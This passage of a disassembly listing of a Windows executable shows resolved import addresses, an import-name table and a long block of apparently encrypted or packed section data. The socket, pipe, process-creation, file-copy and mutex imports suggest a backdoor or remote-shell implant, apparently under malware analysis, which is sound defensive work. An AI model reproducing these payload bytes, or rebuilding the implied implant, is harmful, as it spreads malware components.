to->KERNEL32.GlobalMemoryStatus ; .data:0043395Cr dword_4E0440 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtr ; sub_41E0F0+19r ... dword_4E0444 dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtr ; sub_42A590+13r ... dword_4E0448 dd 7C85E9BBh ; resolved to->KERNEL32.HeapValidate ; sub_416900+102r ... dword_4E044C dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4E0450 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_41A690+86r ... dword_4E0454 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_41A890+Br ... dword_4E0458 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_428460+87r ... dword_4E045C dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineA ; .data:0043398Cr dword_4E0460 dd 7C8111DAh ; resolved to->KERNEL32.GetVersion ; .data:00433992r dword_4E0464 dd 7C859B72h ; resolved to->KERNEL32.DebugBreak ; .data:00433998r dword_4E0468 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; .data:0041AFC8r ... dword_4E046C dd 7C859D78h ; resolved to->KERNEL32.OutputDebugStringA ; sub_41B010+2F3r ... dword_4E0470 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSection ; sub_41BBA0+16r ... dword_4E0474 dd 7C860CF8h ; resolved to->KERNEL32.FatalAppExitA ; .data:004339B0r dword_4E0478 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_41BEC0+136r ... dword_4E047C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41C020+1BBr ... dword_4E0480 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_41C6D0+11Ar ... dword_4E0484 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_41CBB0+545r ... dword_4E0488 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41D7E0+A7r ... dword_4E048C dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableA ; .data:004339D4r dword_4E0490 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroy ; sub_41F8C0+7Cr ... dword_4E0494 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreate ; .data:004339E0r dword_4E0498 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; sub_421920+66r ... dword_4E049C dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_421920+50r ... dword_4E04A0 dd 7C812D9Fh ; resolved to->KERNEL32.TlsAlloc ; .data:004339F2r dword_4E04A4 dd 7C8136D7h ; resolved to->KERNEL32.TlsFree ; .data:004339F8r dword_4E04A8 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Error ; .data:004339FEr dword_4E04AC dd 7C809740h ; resolved to->KERNEL32.TlsGetValue ; .data:004219DCr ... dword_4E04B0 dd 7C8098EBh ; resolved to->KERNEL32.GetCurrentThread ; .data:00433A0Ar dword_4E04B4 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_421FA0+17r ... dword_4E04B8 dd 7C809915h ; resolved to->KERNEL32.GetACP ; .data:00433A16r dword_4E04BC dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCP ; .data:00433A1Cr dword_4E04C0 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; .data:00433A22r ... dword_4E04C4 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_4275A0+C0r ... dword_4E04C8 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_4275A0+1A5r ... dword_4E04CC dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter ; .data:00433A34r dword_4E04D0 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA ; sub_428240+208r ... align 8 dword_4E04D8 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; .data:00408AA4r ... align 10h dword_4E04E0 dd 77C018BAh dword_4E04E4 dd 77C01A50h dword_4E04E8 dd 77C019FFh align 10h dword_4E04F0 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; .data:0043379Ar dword_4E04F4 dd 71AB406Ah ; resolved to->WS2_32.connect ; .data:00433794r dword_4E04F8 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_40D78C+8Er ... dword_4E04FC dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40D70F+15r ... dword_4E0500 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; .data:00433782r dword_4E0504 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; .data:004337A0r dword_4E0508 dd 71AB3E00h ; resolved to->WS2_32.bind ; .data:00433776r dword_4E050C dd 71AB88D3h ; resolved to->WS2_32.listen ; .data:00433770r dword_4E0510 dd 71AC1028h ; resolved to->WS2_32.accept ; .data:0043376Ar dword_4E0514 dd 71AB615Ah ; resolved to->WS2_32.recv ; .data:00433764r dword_4E0518 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40D70F+68r ... dword_4E051C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40D0F7+54r ... dword_4E0520 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40D0F7+D5r ... dword_4E0524 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40D0F7+106r ... dword_4E0528 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4E052C dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; .data:0043377Cr dd 0 dd 737702D7h, 6E697270h, 416674h, 52455355h, 642E3233h dd 6C6Ch, 5F325357h, 642E3233h, 6C6Ch, 6556000Ah, 65755172h dd 61567972h, 4165756Ch, 0 aGetfileversion db 'GetFileVersionInfoA',0 db 1 align 2 aGetfileversi_0 db 'GetFileVersionInfoSizeA',0 aVersion_dll db 'VERSION.dll',0 db '¹',0 aExitprocess db 'ExitProcess',0 a4_0 db '4',0 aClosehandle db 'CloseHandle',0 aF db 'f',0 aCreateprocessa db 'CreateProcessA',0 align 4 db 7Dh ; } db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 1C1h aGetsystemdirec db 'GetSystemDirectoryA',0 db 56h ; V db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 6Fh ; o align 2 aCreatethread db 'CreateThread',0 align 4 aG db 'ƒ',0 aDeletefilea db 'DeleteFileA',0 dw 286h aOpenprocess db 'OpenProcess',0 db 43h ; C db 1, 47h, 65h aTcurrentproces db 'tCurrentProcessId',0 dw 171h aGetlasterror db 'GetLastError',0 align 2 aC_4 db 'C',0 aCopyfilea db 'CopyFileA',0 dw 319h aSetfileattribu db 'SetFileAttributesA',0 align 4 db 5Eh ; ^ db 1, 47h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 17Fh aGetmodulehandl db 'GetModuleHandleA',0 db 0, 90h, 3 aWaitforsingleo db 'WaitForSingleObject',0 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 4 db 0DFh ; ß db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 0D5h ; Õ db 1, 47h, 65h aTtemppatha db 'tTempPathA',0 align 4 db 6Eh ; n db 2, 4Dh, 6Fh aVefilea db 'veFileA',0 db 5Fh ; _ db 3, 54h, 65h aRminatethread db 'rminateThread',0 dw 252h aLoadlibrarya db 'LoadLibraryA',0 align 2 dw 1A0h aGetprocaddress db 'GetProcAddress',0 align 4 db 0C9h ; É db 3, 6Ch, 73h aTrcpyna db 'trcpynA',0 db 0C0h ; À db 3, 6Ch, 73h aTrcmpa db 'trcmpA',0 align 4 db 0C6h ; Æ db 3, 6Ch, 73h aTrcpya db 'trcpyA',0 align 10h db 0CCh db 3, 6Ch, 73h aTrlena db 'trlenA',0 align 4 db 14h db 1, 47h, 65h aTcomputernamea db 'tComputerNameA',0 align 10h db 74h ; t db 1, 47h, 65h aTlocaleinfoa db 'tLocaleInfoA',0 align 2 dw 1E9h aGetversionexa db 'GetVersionExA',0 db 'º',0 aExitthread db 'ExitThread',0 align 10h db 51h ; Q db 2, 4Ch, 65h aAvecriticalsec db 'aveCriticalSection',0 align 4 aS_30 db '˜',0 aEntercriticals db 'EnterCriticalSection',0 align 10h db 24h ; $ db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSectionAndSpinCount',0 aB db '',0 aDeletecritical db 'DeleteCriticalSection',0 dd 725703A4h, 46657469h, 656C69h, 655202B5h, 69466461h dd 656Ch, 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h dd 75440093h, 63696C70h, 48657461h, 6C646E61h, 1420065h aGetcurrentproc db 'GetCurrentProcess',0 aE_0 db 'e',0 aCreatepipe db 'CreatePipe',0 align 10h db 0E0h ; à db 1, 47h, 65h aTtimeformata db 'tTimeFormatA',0 align 2 dw 147h aGetdateformata db 'GetDateFormatA',0 align 4 db 63h ; c db 1, 47h, 65h aTfilesize db 'tFileSize',0 aS_31 db 'S',0 aCreatefilea db 'CreateFileA',0 db 'Î',0 aFindclose db 'FindClose',0 db 'Å',0 aFiletimetosyst db 'FileTimeToSystemTime',0 align 4 db 'Ä',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db 'Ü',0 aFindnextfilea db 'FindNextFileA',0 db 'Ò',0 aFindfirstfilea db 'FindFirstFileA',0 align 10h dd 6553031Bh, 6C694674h, 696F5065h, 7265746Eh, 38E0000h aWaitformulti_0 db 'WaitForMultipleObjects',0 align 4 db 0FCh ; ü align 2 aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 4 dd 65470173h, 636F4C74h, 69546C61h, 656Dh, 6F4600F3h, 74616D72h dd 7373654Dh, 41656761h, 20A0000h, 626F6C47h, 6E556C61h dd 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h, 6B63h, 6E550371h dd 5670616Dh, 4F776569h, 6C694666h, 2680065h, 5670614Dh dd 4F776569h, 6C694666h, 540065h aCreatefilemapp db 'CreateFileMappingA',0 align 10h db 1Fh db 3, 53h, 65h aTfiletime db 'tFileTime',0 dw 165h aGetfiletime db 'GetFileTime',0 db '¼',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 dd 724600F8h, 694C6565h, 72617262h, 3940079h aWidechartomult db 'WideCharToMultiByte',0 db 75h ; u db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 3 aLstrcmpia db 'lstrcmpiA',0 dw 15Ah aGetexitcodepro db 'GetExitCodeProcess',0 align 4 db 91h ; ‘ db 2, 50h, 65h aEknamedpipe db 'ekNamedPipe',0 db 78h ; x db 1, 47h, 65h aTlogicaldrives db 'tLogicalDrives',0 align 4 db 4 db 2, 47h, 6Ch aObalmemorystat db 'obalMemoryStatus',0 align 2 dw 236h aIsbadwriteptr db 'IsBadWritePtr',0 dw 233h aIsbadreadptr db 'IsBadReadPtr',0 align 2 dw 220h aHeapvalidate db 'HeapValidate',0 align 2 dw 2D7h aRtlunwind db 'RtlUnwind',0 dw 228h aInterlockeddec db 'InterlockedDecrement',0 align 2 dw 22Ch aInterlockedinc db 'InterlockedIncrement',0 align 2 dw 1B7h aGetstartupinfo db 'GetStartupInfoA',0 dd 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 1E80041h dd 56746547h, 69737265h, 6E6Fh, 65440078h, 42677562h, 6B616572h dd 1B90000h, 53746547h, 61486474h, 656C646Eh, 28D0000h aOutputdebugstr db 'OutputDebugStringA',0 align 10h db 23h ; # db 2, 49h, 6Eh aItializecrit_0 db 'itializeCriticalSection',0 db 'À',0 aFatalappexita db 'FatalAppExitA',0 db 10h db 2, 48h, 65h aApalloc db 'apAlloc',0 db 1Ah db 2, 48h, 65h aAprealloc db 'apReAlloc',0 dw 216h aHeapfree db 'HeapFree',0 align 2 dw 383h aVirtualfree db 'VirtualFree',0 db 81h ; db 3, 56h, 69h aRtualalloc db 'rtualAlloc',0 align 10h db 58h ; X db 1, 47h, 65h aTenvironmentva db 'tEnvironmentVariableA',0 dw 214h aHeapdestroy db 'HeapDestroy',0 dd 65480212h, 72437061h, 65746165h, 1460000h aGetcurrentthre db 'GetCurrentThreadId',0 align 4 dd 6C540366h, 74655373h, 756C6156h, 3630065h, 41736C54h dd 636F6C6Ch, 3640000h, 46736C54h, 656572h, 65530328h dd 73614C74h, 72724574h, 726Fh, 6C540365h, 74654773h, 756C6156h dd 1450065h, 43746547h, 65727275h, 6854746Eh, 64616572h dd 1040000h, 43746547h, 666E4950h, 0FD006Fh, 41746547h dd 5043h, 65470193h, 4D454F74h, 5043h, 615202A7h, 45657369h dd 70656378h, 6E6F6974h, 2440000h, 614D434Ch, 72745370h dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h dd 36E0000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 dw 0F6h aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 0F7h ; ÷ align 2 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 155h aGetenvironment db 'GetEnvironmentStrings',0 dw 157h aGetenvironme_0 db 'GetEnvironmentStringsW',0 align 4 db 24h ; $ db 3, 53h, 65h aThandlecount db 'tHandleCount',0 align 2 dw 166h aGetfiletype db 'GetFileType',0 db 0EEh ; î db 2, 53h, 65h aTconsolectrlha db 'tConsoleCtrlHandler',0 db 37h ; 7 db 3, 53h, 65h aTstdhandle db 'tStdHandle',0 align 10h aU db 'î',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 4 db 0BAh ; º db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 1BDh aGetstringtypew db 'GetStringTypeW',0 align 4 db 4Ah ; J db 3, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 230h aIsbadcodeptr db 'IsBadCodePtr',0 align 2 dw 241h aIsvalidlocale db 'IsValidLocale',0 dw 23Fh aIsvalidcodepag db 'IsValidCodePage',0 aP db '¯',0 aEnumsystemloca db 'EnumSystemLocalesA',0 align 2 dw 1E3h aGetuserdefault db 'GetUserDefaultLCID',0 align 4 db 10h db 3, 53h, 65h aTendoffile db 'tEndOfFile',0 align 4 db 0E2h ; â db 1, 47h, 65h aTtimezoneinfor db 'tTimeZoneInformation',0 align 2 dw 175h aGetlocaleinfow db 'GetLocaleInfoW',0 align 10h db ':',0 aComparestringa db 'CompareStringA',0 align 2 db ';',0 aComparestringw db 'CompareStringW',0 align 4 db 13h db 3, 53h, 65h aTenvironment_0 db 'tEnvironmentVariableA',0 aKernel32_dll_0 db 'KERNEL32.dll',0 align 4 dd 0C99h dup(0) db 3 dup(0) byte_4E4143 db 0 ; DATA XREF: .data:00447D2Co dd 2 dup(0) dword_4E414C dd 0 dword_4E4150 dd 1FDh dup(0) db 2 dup(0) word_4E4946 dw 0 ; DATA XREF: .data:00447B6Co ; .data:00447B74o dd 27Fh dup(0) db 0 byte_4E5345 db 3 dup(0) ; DATA XREF: .data:00447CF8o align 1000h _data ends ; Section 2. (virtual address 000E6000) ; Virtual size : 0001A040 ( 106560.) ; Section size in file : 0001A040 ( 106560.) ; Offset to raw data for section: 000E6000 ; Flags C0000020: Text Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _pdata segment para public 'CODE' use32 assume cs:_pdata ;org 4E6000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 8000005Eh, 0A22A0000h, 981285D9h, 0F64BD2BAh, 0A9BFDC62h dd 0B0A8B0B2h, 92B78F57h, 98CA49A6h, 81D9EBA5h, 146D1750h dd 0C86FA0D6h, 4DF1B102h, 65C3BBDh, 988FDB53h, 0B8650903h dd 474A2A96h, 713E1517h, 2500C120h, 0FF063005h, 0ADD9D17Dh dd 0B3B15CF2h, 86A311C8h, 92454110h, 888153C6h, 61D37872h dd 9266BFFh, 0F978255h, 70EAD424h, 0A96EF036h, 0E0E26E7Bh dd 3BEECE32h, 619F6EB7h, 715BE887h, 0C9F599D6h, 0F4A72D7Ah dd 0D73A6EA3h, 51DA9F11h, 9F68ECCh, 83845377h, 69A77B47h dd 4369753Eh, 0AD0C35C9h, 0F063335h, 98343F53h, 6979E306h dd 0D322A325h, 0B5E624F0h, 9A3F636h, 74EA76E6h, 3CB8122Dh dd 0E176FC82h, 99EDF3C3h, 0C39BF5DAh, 0C0788274h, 8268EE2Dh dd 45F62A01h, 2363035Dh, 0A7383A10h, 0B2C7285Ah, 0C3BCAB95h dd 12ED7103h, 4AD3FE3Ah, 433A68B2h, 6165323Dh, 0A7C71D54h dd 7D40F56h, 0C1C6EAA9h, 4B0EE5ACh, 0A437B7D9h, 711E38A0h dd 0B2B26CD2h, 0BB23C3F2h, 0C41252BCh, 0A2262951h, 604A9353h dd 0B1490025h, 0DCA06B4Eh, 18363B0Fh, 9E97A86Bh, 99116CF1h dd 0DFD1A996h, 2BA743FDh, 0AD0C47E1h, 0BAD83CFBh, 0EDDFE954h dd 0D149E763h, 1FE50E71h, 86758DB4h, 6EBCF035h, 7FDDB754h dd 635ACB81h, 0CB0A7520h, 88EDAB59h, 0EE5013DDh, 0E8C09891h dd 1178C021h, 173AFB63h, 0C0796D34h, 8A52F334h, 28127878h dd 6A7D9187h, 0C32C77A4h, 0FB8BC217h, 4C345A0Ah, 0B1527438h dd 96DA263Ch, 0D5E9F36h, 500CE6DDh, 0E584861Ch, 9CA6253Bh dd 0A1A4211Eh, 0D8DA638h, 4BDB62EFh, 53E6150Ch, 3E1B9625h dd 0FCBE5019h, 18A6AAD6h, 6B3D537Bh, 0D915EF34h, 992F8A96h dd 0E727488Ch, 5D151274h, 0BC706550h, 9C365C48h, 0E6384891h dd 5A55CC15h, 8CEE811Bh, 5385608Ch, 0CEC199A2h, 4F51A5C4h dd 0E114CCF7h, 0CA6914B2h, 7E7FCC80h, 7187A92Ch, 0B5BF82A7h dd 0D84B7DF3h, 0DD69C4C2h, 0ADAD1679h, 0F9EAF8D6h, 48594D95h dd 97EBCF87h, 263750F3h, 6C28FDA9h, 8FFAF5C6h, 8B4D1E1h dd 0C39D3614h, 0DD66DEBAh, 7CB0B3E4h, 0FC91604h, 0A53302B5h dd 0E03A01AAh, 1173D817h, 0AFC5AF55h, 0E7D31C84h, 6EC2195Dh dd 14F0E216h, 1B433A40h, 0F4E69EB4h, 1D6C7C53h, 71AF3698h dd 7244115Ah, 7CCC0EA9h, 17DD9B7Fh, 0B63E3DA3h, 3646B48h dd 0D34CC08Ah, 0A93D9EE1h, 0BCCC48A5h, 1C3AC338h, 0C34BA30Dh dd 0D1423CE3h, 0D603EFB7h, 4A120550h, 2717DF42h, 9CCE1CD4h dd 19917F61h, 715CD73Dh, 82422512h, 85EBAF41h, 6C6307BEh dd 0D4AFDADAh, 3B9EF4C4h, 0FFD4D4DBh, 0B82544E1h, 493D1DA7h dd 3C237261h, 25E50F3Ah, 0B5E837A1h, 0E8E52347h, 40A37AFFh dd 79417216h, 0DA3FD2D6h, 0B4AEE462h, 2E1B2D2Ch, 75DAD563h dd 2EF2AB44h, 0FE1B942Ch, 29C99592h, 124FF580h, 0D5FD623h dd 0A2AF07ABh, 0E34792A3h, 901CF346h, 85C0BBB2h, 34BB276h dd 3F8CFA41h, 85026F0h, 7A38617Eh, 6DDFF447h, 804AF9Ch dd 0D72A5B7Fh, 0FCF6F2BBh, 0E2871383h, 6AF7695Bh, 3A0D17EBh dd 1E03D67Fh, 263358CBh, 15A1DA12h, 0F5560707h, 0CEA2DE74h dd 0A1CF6EF1h, 81E750Bh, 0F331F231h, 0A1789C84h, 7AE38460h dd 0F5169EF5h, 0D7E09A53h, 0EF3778DAh, 67C6910Eh, 0F0A03265h dd 0FA99EBD7h, 0CB40E38Ah, 33869180h, 43417FE3h, 2DC4FC1Eh dd 0A8220590h, 695616D5h, 70765AF7h, 51D9679Ah, 6C61612Dh dd 0A72EBA62h, 22207D9Eh, 7386AD37h, 941146C6h, 3164CA6Bh dd 0BFA35D9Fh, 0BD25C8DDh, 0FA4C17CBh, 0F8A78C19h, 68569D7Bh dd 80D2D0F2h, 0D9F7C256h, 0EA6B3BAEh, 70645927h, 26552318h dd 77723992h, 463B74E0h, 0D8E02278h, 0EBC43678h, 95CC667Ch dd 0D2536589h, 5E79DF8Dh, 0CB6436F1h, 0ED8E4E5Bh, 59F636A6h dd 659C8BF9h, 941CE488h, 6C512621h, 0E0EA4729h, 0BA3B84Ch dd 0A8846466h, 0A813E837h, 94EAB115h, 5BEC8A0Eh, 0C56906C9h dd 0C1D4965Ch, 6F665315h, 4B61DDEh, 90D62BEFh, 0D1844878h dd 163023E6h, 0B2F47811h, 27694794h, 0D762EEE0h, 0E2BB721Eh dd 0F536A79Eh, 76F33866h, 0FB437FA1h, 0DA1AC213h, 0B908DC78h dd 9BF7718Eh, 0A9925F58h, 8C0560DAh, 1A838B09h, 806F334Bh dd 0D012BDCCh, 0B582386h, 9EF5B1F3h, 0FD226449h, 0F9E345CBh dd 0DBD12BFh, 39E1592Eh, 5014657Dh, 131F818Eh, 451B0FA6h dd 0DE988EA0h, 2CF25084h, 0CF23F52Ah, 0E20ED396h, 0BAC424A3h dd 35D56702h, 0CF7EC35Ah, 60E8A549h, 668D3286h, 68429435h dd 591C2203h, 42ECA9B2h, 77CAE45Eh, 154315AAh, 6990B739h dd 0DE9B9267h, 55C9F417h, 0C2783857h, 1DA9161Ah, 78B98881h dd 214007E2h, 1307D849h, 0E8E58489h, 162675B2h, 0B02E8B7Eh dd 944DDE8Fh, 74AB0D77h, 0E7ADEE66h, 0DD4C4B3Dh, 3CD4A1D8h dd 0C1198C81h, 0E8CE0297h, 0AC05B160h, 0ECA8BEA4h, 87D8C05Dh dd 5E79873Eh, 0ED8E1196h, 7D911C5Ah, 0C538CDC6h, 0DFA6AE8Bh dd 0FF67EE22h, 51B0296h, 4A2C0989h, 0AFDC38A7h, 985088EDh dd 0E4B2328Fh, 9D92565Eh, 54F737F8h, 0E88A26C7h, 33AFEC78h dd 0B3FB0CEBh, 14D75ED6h, 37F7EF2Ah, 0B2A1FA7Ah, 410AD1D3h dd 0A5FC092Fh, 0F8D565D8h, 0AC52C3A9h, 4BCB3759h, 561BFBA0h dd 83A4D5D4h, 63759C59h, 5280580Fh, 0BA6811EBh, 32BF213Eh dd 29B3E6A1h, 37C70ADBh, 490469FAh, 0ACF1A99Dh, 49C210DAh dd 7DDC7B47h, 19B5E2C9h, 58F70C85h, 36E57DD2h, 0EE10BF43h dd 94EA61FFh, 0EA6AFDD9h, 7A19F6C8h, 717121F1h, 9E3D518Dh dd 0DAF8E31Ch, 0C8BE826Eh, 7B09C666h, 72E8A4FDh, 889C22A9h dd 0C3C04D57h, 0D82461D7h, 8D3A69F6h, 8144D516h, 65C725F1h dd 9ABE74B8h, 0F48AACDh, 0AC5C8878h, 47C3637Dh, 1CE4A7Fh dd 0ED97B485h, 1DE7887Bh, 17C52634h, 9723E463h, 0DFCB00DFh dd 32841401h, 5AE164E1h, 0CA6EB6FFh, 0FC056C17h, 483E7707h dd 71112CB5h, 6E399D71h, 15C5BB4h, 13738D52h, 0BE167682h dd 15F150F7h, 0D051F9Ah, 0CDEF8E4Ah, 55286527h, 332936A4h dd 0B5475B01h, 0DF7151B6h, 159A0EB0h, 7373985Ah, 0AC750427h dd 5458060Ch, 0C7BBB3CEh, 1DA563Ah, 2FDF0787h, 0ACB350F6h dd 717CE84Ch, 0BA1F00Ch, 9AC0184Fh, 5844E8F6h, 410543FBh dd 0C4F48682h, 94402DA5h, 6956BE13h, 4EEF9B03h, 8B1A90BDh dd 9457491h, 6444F3C8h, 6E85E633h, 13A9680Fh, 486FF0C8h dd 530577BAh, 9323F53Dh, 84C3F999h, 8E45ED31h, 6E915C5Ch dd 0EF3B28EFh, 244E866Ch, 352F488Dh, 4178B780h, 29629678h dd 0D87A8C57h, 0CF8668C8h, 960AC5BDh, 144E382Ah, 6E7D7877h dd 815294ACh, 0ECC6A48Dh, 0E8B4D698h, 52964F42h, 5D3A7A79h dd 8A5B09A2h, 8E09B01Ch, 48B874B4h, 54EE85CAh, 6B24D671h dd 6AF0A68Eh, 9DC1F74Fh, 0F404FEFBh, 0CE526067h, 5D7E8806h dd 3A5C50D9h, 65BE13A9h, 1F42FD3Fh, 0FE818D11h, 0A5FEDEDCh dd 9E542173h, 0E9F10DE9h, 0BCDD3B03h, 1008AB3h, 0E3E4AA70h dd 63C25483h, 0AB920728h, 50507A02h, 0E416AB45h, 245C1D0Ah dd 405E0C93h, 172A1F4Eh, 1DACCFACh, 0E5973BC6h, 0C4BFC742h dd 6FA902D1h, 0B3CC221Fh, 66D586C8h, 0E3338A1h, 0F5EB3828h dd 4D45CBBFh, 729EC8DCh, 29E338C8h, 0F64DF7FBh, 4BACBA4Eh dd 0DC9C8C24h, 586D85AAh, 0C281D7E8h, 75618D0Bh, 441327A7h dd 7DB75E2Bh, 6BBDA0FCh dd 227FA765h, 2D6E2EACh, 0C56D8BBBh, 0ED051310h, 227E2352h dd 5E40BF86h, 0A0A90AE8h, 0FF60C8D8h, 0CDCF241Eh, 34B58B75h dd 81C34B42h, 2B5B4CFEh, 66AADC87h, 154FC9E9h, 25C025FCh dd 814E7081h, 0D7B8B396h, 1C91FA2Dh, 5744A20Bh, 84097782h dd 7CBC0455h, 36547D78h, 0A896039Eh, 55D84C34h, 73336E1Fh dd 3AF840F9h, 0D54D114h, 0FD095858h, 0B302C0CDh, 9C25F86Dh dd 0A0B89493h, 0CCA861D1h, 0BDB86164h, 92C94B0Ch, 0ADA14D7Fh dd 7712A09Bh, 0A5BF1674h, 6B88A8A8h, 5AA8413Bh, 0A5949FABh dd 6D5E8FA3h, 71CACEADh, 8969F0DFh, 3080B575h, 0C133EEE4h dd 8847D393h, 0D48B92E6h, 936588A7h, 0A0A9E4Dh, 62891714h dd 902BCAE6h, 0B9B0733Ah, 0E3346C46h, 6C7C9B78h, 0CB3F845h dd 9BBF25E4h, 16841828h, 292CAE0Ch, 4F636E7h, 2F176426h dd 9E0B74AFh, 5B77AD86h, 7C0B77F3h, 0C7C2E0B6h, 3E2357F6h dd 647D3400h, 87678E5Ch, 2C7ACC7Ah, 0E64F4DFFh, 0CA240F9Ah dd 4B65FDFEh, 0D6C9D457h, 0A9982362h, 0F1DAAAD9h, 0DA1F2021h dd 7D938E3Ah, 38EDB14Ch, 0D9BCDB2Eh, 64CF7BE0h, 0DE77952Ah dd 0FE6CE406h, 0E40837B0h, 1153EBEFh, 0A9149BC2h, 0E882BA62h dd 21A5416Eh, 0EAB5F2DAh, 253C45A5h, 85A34EF6h, 54C65582h dd 0B7EE2716h, 4B5B60CCh, 0EAAB476Ch, 5D01CBBDh, 90189798h dd 0F437FE20h, 9DA5A621h, 4ADE6A10h, 0FDB9CC08h, 0F6FF80F7h dd 0C7FFA420h, 0A38FA4E7h, 61AEAAC2h, 60ED7789h, 0D086D052h dd 0F36AC2B9h, 7EBFF0E7h, 810CB840h, 0BD69CA97h, 853C20A8h dd 140B8159h, 0D1640F10h, 8F0E944Ah, 0D6277CCCh, 4065887Bh dd 0FAB1E379h, 86D1FF68h, 89EEDE56h, 319B91D1h, 58809B67h dd 66F9C967h, 0BA1E67E0h, 60DB8C9Bh, 0C880369Bh, 0DE0D9627h dd 0BB0EBD68h, 7209AC98h, 0F07E7EE0h, 8CA0D1CCh, 0DB280AFDh dd 340AD43h, 6723A5EEh, 0AD6F4BF0h, 7946510Dh, 8BB5EF53h dd 11E49045h, 6D3D7768h, 80014324h, 4E4E88E2h, 0C0A06A54h dd 0E7A47661h, 970E3A8Ah, 0D90384BAh, 0BA2DBFFFh, 0D8E02047h dd 7467C7C2h, 0FD0B7542h, 0BC48F423h, 0DF37C127h, 40754EF2h dd 45C1AA43h, 4D001204h, 0D06A2867h, 3E4E2FF4h, 0E2C78DCBh dd 8FD122A8h, 1CD60037h, 39F47DA9h, 3DD7352Bh, 92164B18h dd 360BE720h, 729739D4h, 0E5833FF0h, 25A60FD3h, 794A0006h dd 274A786Bh, 7C7718E9h, 0D08ED06Ch, 9D56FDDFh, 0E8DD31D3h dd 0E1514D07h, 6F9420ADh, 0CD5812Ch, 0E521F3CBh, 0D2E34E51h dd 0F43EAF56h, 0B50622F6h, 3D05746Ch, 4F11122Ah, 94DEE69Bh dd 89844FF6h, 0B09D10E3h, 33C0C14Dh, 3F988C82h, 503F17C2h dd 0E37177BBh, 0C23A87E9h, 0AC7EE3D7h, 244010E9h, 4153041Ch dd 7AC1C0DBh, 9BA64D75h, 2C3E8C51h, 30C90396h, 2FC553E5h dd 3BA4089Dh, 2E0001BEh, 0D64A3C14h, 0CAFD9BA1h, 235B1950h dd 0CFC72F95h, 0BDC10DCh, 79C5EC3Fh, 0CF1BD6B7h, 0FC9EBBDDh dd 0F990E5E2h, 824EDD8Eh, 0EEE5596Fh, 2D320B92h, 60AA94D1h dd 1B590547h, 310BEB8Fh, 0ABD4B1BAh, 0B9F75AB8h, 0AA06FC77h dd 4A70D1ADh, 0DCCE0EC8h, 0F6CFC788h, 0E8FF6B0Fh, 706D5B3Bh dd 0BE22EF1Bh, 45DEA771h, 0CA15D4Dh, 0A6A7A783h, 840DA9B7h dd 123EE31Ah, 0A0CE253Fh, 7EE33995h, 48515121h, 0B45FEEEh dd 0EB4922F7h, 0D1E03EA4h, 76AAA6EEh, 276FC790h, 3AB47F05h dd 2A9EBE83h, 38A0523Dh, 0A2D8C163h, 9A52C1FFh, 580DFFC8h dd 700799DDh, 2D60A3B4h, 7A91793Bh, 57C51E14h, 9181C520h dd 0A116802Bh, 21A8F77Eh, 776A6B5Eh, 0D7198793h, 934497A2h dd 